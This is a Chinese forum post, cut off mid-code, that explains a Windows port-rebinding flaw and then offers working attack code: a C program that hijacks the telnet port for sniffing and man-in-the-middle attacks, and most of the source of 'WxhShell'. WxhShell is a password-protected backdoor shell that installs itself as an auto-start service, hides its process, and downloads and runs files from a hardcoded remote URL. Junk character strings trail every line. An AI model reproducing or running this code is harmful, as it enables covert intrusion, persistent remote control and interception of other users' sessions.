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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S wC,=S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SjlkKulMF  
e6s L N  
  saddr.sin_family = AF_INET; .a=M@; p  
bRNE:))r_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zG [-n.  
'G-VhvM v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T:; e73  
J'@ I!Jc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^Xa-)Pu  
9!2KpuWji  
  这意味着什么?意味着可以进行如下的攻击: r}f -.Fo  
5 Nl>4d`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,:>>04O  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =C`v+NPM)|  
&[ 3y_,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]d$)G4X 1  
Oq+C<}eg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ((.PPOdJV  
gl]{mUZz}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %*|XN*iXC  
}{iR+M X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 14oD^`-t  
 M?}2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0>Mm |x*5  
QREIr |q'  
  #include 6K`frt  
  #include "ajZ&{Z  
  #include 7t@jj%F  
  #include    ),M8W15  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ? ~_%I  
  int main() Lb2Bu>  
  { s<<vHzm  
  WORD wVersionRequested; ReSP)%oW  
  DWORD ret; guwnYS  
  WSADATA wsaData; 3D<P [.bS  
  BOOL val; 2jx""{  
  SOCKADDR_IN saddr; !29 Rl`9  
  SOCKADDR_IN scaddr; =@3Qsd  
  int err; " Jv&=zJ  
  SOCKET s; AqN(htGvx  
  SOCKET sc; F>^k<E?,C  
  int caddsize;  sGdt)  
  HANDLE mt;  .':SD{  
  DWORD tid;   _9L2JN$R6  
  wVersionRequested = MAKEWORD( 2, 2 ); ?:U6MjlQ"{  
  err = WSAStartup( wVersionRequested, &wsaData ); 3c9v~5og4  
  if ( err != 0 ) { :dLS+cTC  
  printf("error!WSAStartup failed!\n"); >{m>&u;Cc  
  return -1; 3l4k2  
  } UKX'A)$  
  saddr.sin_family = AF_INET; bzUc;&WDz  
   I*ho@`U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bE0S) b)  
:$P < e~z'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VaX>tUW  
  saddr.sin_port = htons(23); c?IIaj !  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o &Nr5S  
  { zaoZCyJT%  
  printf("error!socket failed!\n"); ;K:.*sAa  
  return -1; VLQfuh;  
  } 'BUdySng  
  val = TRUE; w5~<jw%>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (q +Q.Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T \0e8"iZ  
  { ENqJ9%sk7  
  printf("error!setsockopt failed!\n"); !3HMGzt  
  return -1; v t(kL(}v  
  } .bpxSU%X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eQ C`e#%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _k ~bH\(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;| \Ojuf  
F}sfk}rp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r-'j#|^tz  
  { R \`,Q'3  
  ret=GetLastError(); {BKI8vy  
  printf("error!bind failed!\n"); J+z0,N[  
  return -1; qPzgGbmD9  
  } > ]6Eb`v  
  listen(s,2); V2.MZ9  
  while(1) u_:" u  
  { 0Q>Yoa 11  
  caddsize = sizeof(scaddr); u9VJ{F  
  //接受连接请求  Y9PG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (_-z m)F7  
  if(sc!=INVALID_SOCKET) z` gR*+  
  { M ?F({#]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  Rl 6E  
  if(mt==NULL) lW>bX C  
  { V$:v~*Y9  
  printf("Thread Creat Failed!\n"); (a)d7y.oo  
  break; kyY tL_SD  
  } ;PLby]=O  
  } '9^x"U9c  
  CloseHandle(mt); e%UFY-2  
  } kA#>Xu/  
  closesocket(s); vk[Km[(U'  
  WSACleanup(); @$~%C) %u  
  return 0; #]:nQ (  
  }   }dB01Jl '  
  DWORD WINAPI ClientThread(LPVOID lpParam) S{ *RF)  
  { q$H'u[KQ06  
  SOCKET ss = (SOCKET)lpParam; wt)tLMEv  
  SOCKET sc; tWc!!Hf2j  
  unsigned char buf[4096]; nq_sbli  
  SOCKADDR_IN saddr; ,T1 t`  
  long num; eqjl$QWPJS  
  DWORD val; BQw#PXp3  
  DWORD ret; 9nd'"$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1[B?nk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]1p&*xX:Bj  
  saddr.sin_family = AF_INET; A:;KU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u^:!!Suo  
  saddr.sin_port = htons(23); $Cf_RFH0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Iy`Zh@"~  
  { ) 8LCmvQ  
  printf("error!socket failed!\n"); Zkxt>%20~  
  return -1; &WsDYov?  
  } jQ 7RH/?_  
  val = 100; vsES`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WU}JArX9  
  { ea7v:#O[S  
  ret = GetLastError(); BH%eu 7`t  
  return -1; e `_ [+y  
  } *[_?4*F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #x "pG  
  { <$7*yV  
  ret = GetLastError(); c t,p?[Q  
  return -1; >Wy@J]Y#  
  } IURi90Ir  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K4l,YR;r  
  { S W  
  printf("error!socket connect failed!\n"); 4$vya+mAk5  
  closesocket(sc); }vc C4 =t/  
  closesocket(ss); KZ<zsHX8H  
  return -1; cty.)e=  
  } wRUpQ~=B2  
  while(1) ,=z8aiUu  
  { G~YV6??  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HH[?LKd<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yjN|PqtSV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [l'~>  
  num = recv(ss,buf,4096,0); PsLuyGR.<  
  if(num>0) })s s.  
  send(sc,buf,num,0); 6C) G  
  else if(num==0) +h[$\_y  
  break; TX8,+s+  
  num = recv(sc,buf,4096,0); Xt9?7J#\T  
  if(num>0) %.[GR  
  send(ss,buf,num,0); KWhw@y-5j@  
  else if(num==0) U7 Z_  
  break; %:((S]vAi  
  } qb "H&)aHw  
  closesocket(ss); ly6?jVJ  
  closesocket(sc); :^?ZVi59j  
  return 0 ; ,R*ru*  
  } f*kT7PJG  
[O(78n$$  
}&;0:hw%  
========================================================== QJ pUk%Wj  
m",$M>  
下边附上一个代码,,WXhSHELL DhkzVp_  
b6oPnP_3P  
========================================================== zneK)C8&q3  
P1H`NOC  
#include "stdafx.h" \+S~N:@><k  
}%_x T  
#include <stdio.h> ?u 9) GJO[  
#include <string.h> J&Le*R'  
#include <windows.h> voV=}.(p  
#include <winsock2.h> ;>|:I(l;  
#include <winsvc.h> CWt,cwFW  
#include <urlmon.h> I)DLnnQQ  
j3z&0sc2(0  
#pragma comment (lib, "Ws2_32.lib") o_os;  
#pragma comment (lib, "urlmon.lib") g8}/Ln*W'  
vZ$uD,@;.  
#define MAX_USER   100 // 最大客户端连接数 TZPWMCN4  
#define BUF_SOCK   200 // sock buffer 8|V6RgA%  
#define KEY_BUFF   255 // 输入 buffer Jp_{PR:&  
F]SexP4:A  
#define REBOOT     0   // 重启 --.:eFE/  
#define SHUTDOWN   1   // 关机 Qh)@-r3  
Wc03Sv&FZ  
#define DEF_PORT   5000 // 监听端口 jlzqa7  
<;SMczR  
#define REG_LEN     16   // 注册表键长度 Alh%Z\  
#define SVC_LEN     80   // NT服务名长度 WynHcxC  
H6rWb6i  
// 从dll定义API a*74FVZo.;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0XL x@FYn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  {EZ ;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]?mWnEi!z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QoI@/ jLj  
wxr93$v  
// wxhshell配置信息 }"Y]GH4Y  
struct WSCFG { R7Hn8;..  
  int ws_port;         // 监听端口 OsvAm'B  
  char ws_passstr[REG_LEN]; // 口令 N;RZIg(x  
  int ws_autoins;       // 安装标记, 1=yes 0=no T" 8>6a@}E  
  char ws_regname[REG_LEN]; // 注册表键名 &=t$ AIu  
  char ws_svcname[REG_LEN]; // 服务名 BI,K?D&W-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &RpQ2*4n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A CJmy2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "t`r_Aw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "uqa~R{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u.8vXc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )d0&iE`@  
u ldea)  
}; w0tlF:Eg  
c3i|q@ k  
// default Wxhshell configuration HC}D<FX |  
struct WSCFG wscfg={DEF_PORT, duV|'ntr  
    "xuhuanlingzhe", tCtR(mG=A  
    1, 7Dom[f  
    "Wxhshell", C6CX{IA]  
    "Wxhshell", @QVAsNW:O  
            "WxhShell Service", :#I8Cf  
    "Wrsky Windows CmdShell Service", cd*y{Wt  
    "Please Input Your Password: ", SM! [ yC  
  1, F)5QpDmqb  
  "http://www.wrsky.com/wxhshell.exe", 1H-R-NNJ:  
  "Wxhshell.exe" 26.iFt/:  
    }; Z(*n ZT,  
-:cS}I  
// 消息定义模块 <w.V!"!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |PDuvv!.f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `k _5Pz\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nr3td`;  
char *msg_ws_ext="\n\rExit."; %v : a  
char *msg_ws_end="\n\rQuit."; :14O=C  
char *msg_ws_boot="\n\rReboot..."; p5c'gziR  
char *msg_ws_poff="\n\rShutdown..."; w&`gx6?-na  
char *msg_ws_down="\n\rSave to "; q;tsA"l  
Mwp#.du(  
char *msg_ws_err="\n\rErr!"; xgsD<3  
char *msg_ws_ok="\n\rOK!"; 1\kOjF)l  
J A4'e@  
char ExeFile[MAX_PATH]; 5|S|HZ8G  
int nUser = 0; X f!Bsp#\g  
HANDLE handles[MAX_USER]; RZm5[n  
int OsIsNt; 52wq<[#tK  
dSk\J[D  
SERVICE_STATUS       serviceStatus; ^?&Jq_oU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :]=Y1*L\)  
)|uPCZdLZ  
// 函数声明 Wq F(  
int Install(void); |C7GI[P  
int Uninstall(void); X\X  
int DownloadFile(char *sURL, SOCKET wsh); \qV5mD]"M  
int Boot(int flag); >xJt&jW-  
void HideProc(void); eV1O#FLbi  
int GetOsVer(void); H:d{Sru  
int Wxhshell(SOCKET wsl); ` n@[=l~  
void TalkWithClient(void *cs); `H+ 7Hj  
int CmdShell(SOCKET sock); Q*(]&qr"E  
int StartFromService(void); CHN!o9f  
int StartWxhshell(LPSTR lpCmdLine); 9SC#N 5V  
^X[Kr=:Jp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T1\Xz-1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }_@cqx:n^  
P}DrUND  
// 数据结构和表定义 L1P]T4a@)  
SERVICE_TABLE_ENTRY DispatchTable[] = _ CXKJ]m4  
{ S;i^ucAF  
{wscfg.ws_svcname, NTServiceMain}, A<y3Tc?Q  
{NULL, NULL} nU)}!` E  
}; NTs< ;ED  
[)Xu60? Q  
// 自我安装 92+({ fg W  
int Install(void) %jqBYn0q'  
{ E J q=MP  
  char svExeFile[MAX_PATH]; "MM7qV  
  HKEY key; mK@\6GOMYP  
  strcpy(svExeFile,ExeFile); 5(u7b  
yY[[)  
// 如果是win9x系统,修改注册表设为自启动 nH NMoA  
if(!OsIsNt) { v-42_}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $C,f>^1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |K aXek  
  RegCloseKey(key); 2Z7smDJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JNuo+Pq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1g2%f9G  
  RegCloseKey(key); 7&'^H8V  
  return 0; @hQ+pG@s  
    } W(~G^Xu  
  } tojJQ6;J  
} L.l"'=M  
else { V<:kS  
HR.S.(t[_  
// 如果是NT以上系统,安装为系统服务 jEit^5^5|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4-ZiKM  
if (schSCManager!=0) }I#;~|v~<  
{ |cWW5\/  
  SC_HANDLE schService = CreateService B/i,QBPF]  
  ( w+2:eFi=/  
  schSCManager, 7.8ukAud  
  wscfg.ws_svcname, RTHdL  
  wscfg.ws_svcdisp, Xb)XV$0  
  SERVICE_ALL_ACCESS, $M$oNOT}Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T 7Lk4cU  
  SERVICE_AUTO_START, K&D -1u  
  SERVICE_ERROR_NORMAL, \P&'4y~PL  
  svExeFile, !COaPrg  
  NULL, s/`4]B;2U  
  NULL, k-b_ <Tbo|  
  NULL, at6f(+  
  NULL, }1N)3~  
  NULL `@")R-  
  ); o Ep\po1  
  if (schService!=0) =QRLKo#_  
  { pFGdm3pV  
  CloseServiceHandle(schService); ;vQ7[Pv.j  
  CloseServiceHandle(schSCManager); ) ;-AT^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5p U(A6RtS  
  strcat(svExeFile,wscfg.ws_svcname); O0WzDD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wvx N6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2X]2;W)S;  
  RegCloseKey(key); |+x;18  
  return 0; v;?t=}NwF  
    } YpL{c*M  
  } m-*du(  
  CloseServiceHandle(schSCManager); 6LNm>O  
} 9);a0}*5  
} _S2QY7/  
"MZVwl"E#  
return 1; Lo7R^>  
} /LPSI^l!m  
sBZKf8@/  
// 自我卸载 UMx>n18;f9  
int Uninstall(void) wEKm3mY;  
{ <3Co/.VQd  
  HKEY key; Uu }ai."iB  
w/h?, L|  
if(!OsIsNt) { } Yj ic4?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'ZT E"KT  
  RegDeleteValue(key,wscfg.ws_regname); .~ZNlI {K  
  RegCloseKey(key); aR*z5p2-w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G80d!*7  
  RegDeleteValue(key,wscfg.ws_regname); Ax=Rb B"  
  RegCloseKey(key); !Lk|eGd*  
  return 0; ,Z&"@g  
  } j= ]WAjT  
} \W??`?Idh  
} Hd2Sou4-j  
else { M2my>  
$ LFzpg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s-o0N{b?#'  
if (schSCManager!=0) }"Hf/{E$_"  
{ C1)TEkc"C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bYgrKz@uK  
  if (schService!=0) 'JKFEUzM  
  { #*}4=  
  if(DeleteService(schService)!=0) { > 9i@W@M  
  CloseServiceHandle(schService); m)=  -sD  
  CloseServiceHandle(schSCManager); %CD}A%~  
  return 0; i^Ep[3  
  } v)okVyv  
  CloseServiceHandle(schService); wEQV"I  
  } 6yv*AmFh  
  CloseServiceHandle(schSCManager); ,%v  
} ?J%$;"q  
} i/-Xpj]Zf  
*D*K`dk  
return 1; VISNmz2P  
} ;IXDZ#;   
h+t{z"Ic=  
// 从指定url下载文件 x_2 [+Ol  
int DownloadFile(char *sURL, SOCKET wsh) 7evE;KL  
{ g[q1P:I@W  
  HRESULT hr; D!TS/J1S;u  
char seps[]= "/"; gSL$silc  
char *token; :&&Ps4\Sq  
char *file; qyp"q{k0  
char myURL[MAX_PATH]; w# ,:L)  
char myFILE[MAX_PATH]; ,]y)Dy  
0rsdDME[  
strcpy(myURL,sURL); FL/@e$AK  
  token=strtok(myURL,seps); "9&6bBa  
  while(token!=NULL) T&w3IKb|}  
  { 4F)z-<-b  
    file=token; .!l#z|/x  
  token=strtok(NULL,seps); \_De( p  
  } #wk'&XsC#z  
Z +(V'e;  
GetCurrentDirectory(MAX_PATH,myFILE); zw7=:<z=  
strcat(myFILE, "\\"); J0C,K U(  
strcat(myFILE, file);  Q.DtC  
  send(wsh,myFILE,strlen(myFILE),0); ~bdADVH  
send(wsh,"...",3,0); '7u#uL,pa1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $X9-0-  
  if(hr==S_OK) 4g$mz:vo  
return 0; h=EJNz>U  
else )0yY|E\  
return 1; `5=0f}E  
e~i ?E  
} g5; W6QX  
t /EB y"N#  
// 系统电源模块 %kKe"$)0  
int Boot(int flag) &owBmpz  
{ l`[*b_ Xt  
  HANDLE hToken; B&O931E7  
  TOKEN_PRIVILEGES tkp; m%qah>11  
PfF7*}P  
  if(OsIsNt) { UyEyk$6SU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N6Vn/7I5%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6AUXYbK,  
    tkp.PrivilegeCount = 1; .NiPaUzc<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O-U_Zx0zd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nye Ga  
if(flag==REBOOT) { .B6$U>>NS^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _^0yE_ili  
  return 0; 5owUQg,W  
} Q/1 6D  
else { M$FQoRwH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OzA"i y  
  return 0; "m3u}!`3  
} Y"K7$+5#\  
  } dSS_^E[{  
  else { [6FCbzS_W  
if(flag==REBOOT) { lJ62[2=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '2WYbcU  
  return 0; `N_NzH  
} U*(m'Ea  
else { u f.Zg;Vc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %$~?DDNM  
  return 0; 1YTnOiYS1  
} ]O,!B''8k  
} y4/>3tz;  
5Q?7 xTQ  
return 1; )^|zuYzN  
} +s V$s]U  
R1! {,*Gy  
// win9x进程隐藏模块 V=H87 ^b  
void HideProc(void) sc@v\J;k  
{ s~6?p% 2]  
:cnH@:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <ij;^ygYD  
  if ( hKernel != NULL ) INyreoMp  
  { sG%Q?&-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QukLsl]U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ki,]*-XO  
    FreeLibrary(hKernel); lo,?mj%M  
  } Q6`oo/  
^; Nu\c  
return; QNLkj`PL/  
} vh"zYl`  
>Yl?i&3n  
// 获取操作系统版本 ^}ngb Dn  
int GetOsVer(void) b* no.eB  
{ gLaFIeF<+  
  OSVERSIONINFO winfo; l-Xxur5M'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `jSxq66L p  
  GetVersionEx(&winfo); `9(TqcE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +w?RW^:Q=  
  return 1; $-|`#|CBd  
  else VuN= JX  
  return 0; yxf|Njo0  
} ^*C8BzcH  
J)6RXt*!  
// 客户端句柄模块 5%rD7/7N  
int Wxhshell(SOCKET wsl) Eyxw.,rB/  
{ K=;z&E=<c  
  SOCKET wsh; a-MDZT<xA+  
  struct sockaddr_in client; 5)wz`OS  
  DWORD myID; w6F4o;<PR  
q=M!YWz  
  while(nUser<MAX_USER) S#/[>Cb  
{ ^cz #PNB  
  int nSize=sizeof(client); * 8CI'UX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G +o)s  
  if(wsh==INVALID_SOCKET) return 1; <Qe30_<K  
u.ffZ]\7l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X|{TwmHd  
if(handles[nUser]==0) *r6+Vz  
  closesocket(wsh); puV(eG  
else ytf.$P  
  nUser++; \S{ise/U  
  } C_rlbl;T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T$U,rOB"  
5}x^0 LY  
  return 0; wN-3@  
} _n,Ye&m  
gI~R u8  
// 关闭 socket (|(#~o]40t  
void CloseIt(SOCKET wsh) _Jn-#du  
{ _Y4%Fv>@  
closesocket(wsh); t4R=$ km  
nUser--; aze}ko NE  
ExitThread(0); x{`>Il  
} bF;g.-.2  
+!\$SOaR{  
// 客户端请求句柄 R3`!Xj#&M  
void TalkWithClient(void *cs) ne4j_!V{Mf  
{ 2%y}El^+_  
_5uzu6:y  
  SOCKET wsh=(SOCKET)cs; Q&}`( ]k  
  char pwd[SVC_LEN]; -/*-e /+b  
  char cmd[KEY_BUFF]; ] mYT!(}  
char chr[1]; 9^h0D}#@  
int i,j; 9YS&RBJu  
&x =}m  
  while (nUser < MAX_USER) { 7dhip  
PJA%aRP,:  
if(wscfg.ws_passstr) { qn}4PVn4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g]PmmK_L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k\8]fh)J\7  
  //ZeroMemory(pwd,KEY_BUFF); ln-+=jk  
      i=0; vY&[=2=  
  while(i<SVC_LEN) { 78&jaw*1A  
}SIUsh'  
  // 设置超时 h W\q  
  fd_set FdRead; 4loG$l+a1  
  struct timeval TimeOut; H(GWC[tv  
  FD_ZERO(&FdRead); X-%XZD B6  
  FD_SET(wsh,&FdRead); e~w-v"'  
  TimeOut.tv_sec=8;  pbM~T(Y8  
  TimeOut.tv_usec=0; &sleV5V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,_?P[~1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); th]1> .  
ys`"-o[*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 99j^<)  
  pwd=chr[0]; T~@$WM(  
  if(chr[0]==0xd || chr[0]==0xa) { sDA&U9;  
  pwd=0; .\K0+b;  
  break; MwMv[];I  
  } ^}vLZA  
  i++; Q^}6GS$  
    } 9aky+  
=oz$uD}?  
  // 如果是非法用户,关闭 socket tfW*(oU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Loo48  
} c `C /U7j  
j#mo Vq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N]f"+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N=R|s$,Oy9  
:!H]gC 4  
while(1) { 3m:[o`L  
|zhVl  
  ZeroMemory(cmd,KEY_BUFF); ;LSdY}*%0  
YTP6m9hA+  
      // 自动支持客户端 telnet标准   &o@IMbJ8  
  j=0; :%-xiv  
  while(j<KEY_BUFF) { F)rU* i7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nr 5h%<` I  
  cmd[j]=chr[0]; I,J*\)-%J  
  if(chr[0]==0xa || chr[0]==0xd) { X/Umfci  
  cmd[j]=0; z2p@d1  
  break; Al&)8x{p  
  } \1x<bx/1  
  j++; M_asf7|v  
    } 1Z-f@PoM  
J<J_yRg2  
  // 下载文件 !;EG<ji,gj  
  if(strstr(cmd,"http://")) { zQvp<IUq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CJ0{>?  
  if(DownloadFile(cmd,wsh)) + q@kRQY;n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4mNg(w=NF  
  else ~Iw7Xq E2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &+]x  
  } rBR,lS$4  
  else { eaSf[!24"  
GddP)l{uCF  
    switch(cmd[0]) {  zE$KU$  
  VE3,k'^v  
  // 帮助 :rr;9nMR[  
  case '?': { )"SP >2}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _4H 9rPhf  
    break; 5>{  
  } cZ>h[XX[  
  // 安装 o9&&u1`M/  
  case 'i': { hes$LH  
    if(Install()) cF6eMml;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lU6?p")F1  
    else 2 VgFP3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UOh % "h  
    break; m^hi}Am1  
    } aLzRbRv  
  // 卸载 8&T6  
  case 'r': { DdO$&/`)YP  
    if(Uninstall()) N pu#.)G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z :51Q  
    else %-u Ra\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YMGzO  
    break; dk}T&qZ~p  
    } aH@GhI^@  
  // 显示 wxhshell 所在路径 :mOHR&2xR%  
  case 'p': { G .PzpBA  
    char svExeFile[MAX_PATH]; 9em?2'ysa  
    strcpy(svExeFile,"\n\r"); ME'hN->c  
      strcat(svExeFile,ExeFile); w=]id'`?q  
        send(wsh,svExeFile,strlen(svExeFile),0); yffg_^fR  
    break; @0js=3!2  
    } H<6TN^  
  // 重启 )<Cf,R  
  case 'b': { xz9x t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yMz%s=rh  
    if(Boot(REBOOT))  ! n@*6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|Of$oMc  
    else { 3eOwy~  
    closesocket(wsh); UvwO/A\Gv  
    ExitThread(0); hRKAs ]^j  
    } ZcT%H*Ib]9  
    break; A^\A^$|O6  
    } Ns3k(j16  
  // 关机 Zp:(U3%  
  case 'd': { /F/zMZGSA{  
